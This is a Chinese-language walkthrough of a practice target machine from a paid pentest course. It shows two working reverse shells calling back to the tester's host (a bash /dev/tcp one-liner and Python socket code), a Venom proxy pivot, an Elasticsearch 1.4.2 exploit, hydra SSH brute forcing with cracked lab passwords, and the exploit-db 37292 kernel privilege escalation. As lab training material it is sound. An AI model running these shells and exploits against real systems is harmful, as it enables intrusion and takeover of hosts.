前言
这是打靶训练的第四周,前三周打靶视频是免费的。后面是付费课程,心一狠花了400大洋,希望不要花冤枉钱。靶机下载链接,难度中等。
信息搜集
扫下端口
这个upup是路由器上面的类似端口转发的服务,这明显不对劲,进行详细探测
原来是http,访问网页
看见这个留言框,第一时间就想到了xss,顺便试试吧
结果没啥用,想了想即使有xss对于我也没啥用啊,所以放弃了。使用dirsearch扫扫目录。
只扫到admin,访问看看
命令执行
好像是写代码,然后会调用exec()这函数。再结合前面的nmap扫描结果,是python2.7。所以就是写python的反弹shell代码。这个我熟悉,我最擅长python了。
kali上使用nc监听4444端口,代码框执行以下代码
import os
os.system('bash -c "bash -i>& /dev/tcp/192.168.127.137/4444 0>&1"')
执行后,nc并没有获取到反弹shell,然而代码状态是ran the code,当时我就怀疑人生了。换个代码,继续
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.127.137",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
这次可以了,我想看看为啥前面那个代码没有反弹shell,再次执行bash -c "bash -i>& /dev/tcp/192.168.127.137/4444 0>&1"
好家伙bash: not found,再见!!
whoami得到root结果,执行ls得到下面文件
Dockerfile
main.py
requirements.txt
templates
玩过docker的人,对Dockerfile绝对不陌生,我怀疑这是在docker里面,使用ls /.dockerenv
,和cat /proc/1/cgroup
来判断是否工作在docker环境。
只有docker才有.dockerenv文件,而且cgroup文件里面有docker,妥妥的在docker里面了。
横向渗透
使用ip a
查看下网卡信息
172.17.0.2/16是b段,暂时先扫c段看看。使用for i in $(seq 1 5); do ping -c 1 172.17.0.$i; done
得到172.17.0.1-3存活,而靶机是172.17.0.2,所以要扫描其他ip。
这里要用到Venom代理工具,要将此工具传输到靶机,可以先在kali上启动apache服务service apache2 start
,把venom/agent_linux_x64移动到/var/www/html/。这样就能在靶机上使用wget来下载文件了。
回到kali,使用./admin_linux_x64 -lport 8888
监听8888端口。然后回到靶机给agent_linux_x64赋予可执行权限,再执行./agent_linux_x64 -rhost 192.168.127.137 -rport 8888
。kali上面会得到结点响应,再开启socks5代理
使用proxychains nmap -sT -Pn 172.17.0.1
,扫描172.17.0.1的端口
再次详细扫描proxychains nmap -p22,5000 -sV -sT -Pn 172.17.0.1
貌似很熟悉,浏览器挂上代理看看网页
这不就是192.168.127.139:5000的内容吗,一模一样,所以172.17.0.1和192.168.127.139都是同一个主机,只不过一个是内网ip,一个是外网。
那么继续扫描172.17.0.3的端口
熟悉的elasticsearch 1.4.2,老漏洞了,直接梭哈getshell
ls看到了一个passwords文件
在线md5解密后得到
用户名 密码
john 1337hack
test 1234test
admin 1111pass
root 1234pass
jane 1234jane
172.17.0.1的ssh是开着的,可以使用hydra爆破,将上面内容写入文件后使用hydra
ssh成功登录后,查看内核版本等等信息
权限提升
搜下3.13.0的内核漏洞
复制到当前文件夹cp /usr/share/exploitdb/exploits/linux/local/37292.c .
,因为要使用gcc编译,而靶机上面没有安装gcc,所以应该本地编译后再传输到靶机上面去。然而这里有个坑,vi 37292.c
。
看第143行会再次调用gcc命令,然而靶机没有gcc,所以应该本地先找到ofs-lib.so,免去gcc编译过程。并且可以看到输出文件到/tmp,所以还要将文件拷贝到靶机的/tmp下。最后删除掉143-147行内容,保存文件。
本地查找ofs-lib.so,find / -name "ofs-lib.so"
,
拷贝过来后,使用gcc -o exp 37292.c
进行编译,编译过程会有warning这个不影响。靶机上使用wget将exp和ofs-lib.so下载下来。最后将这两个文件移动到/tmp目录下,最后见证奇迹。
至此整个靶机渗透结束,给我最大的收获就是,要第一时间去看看别人的exp源码,而不是第一时间去利用!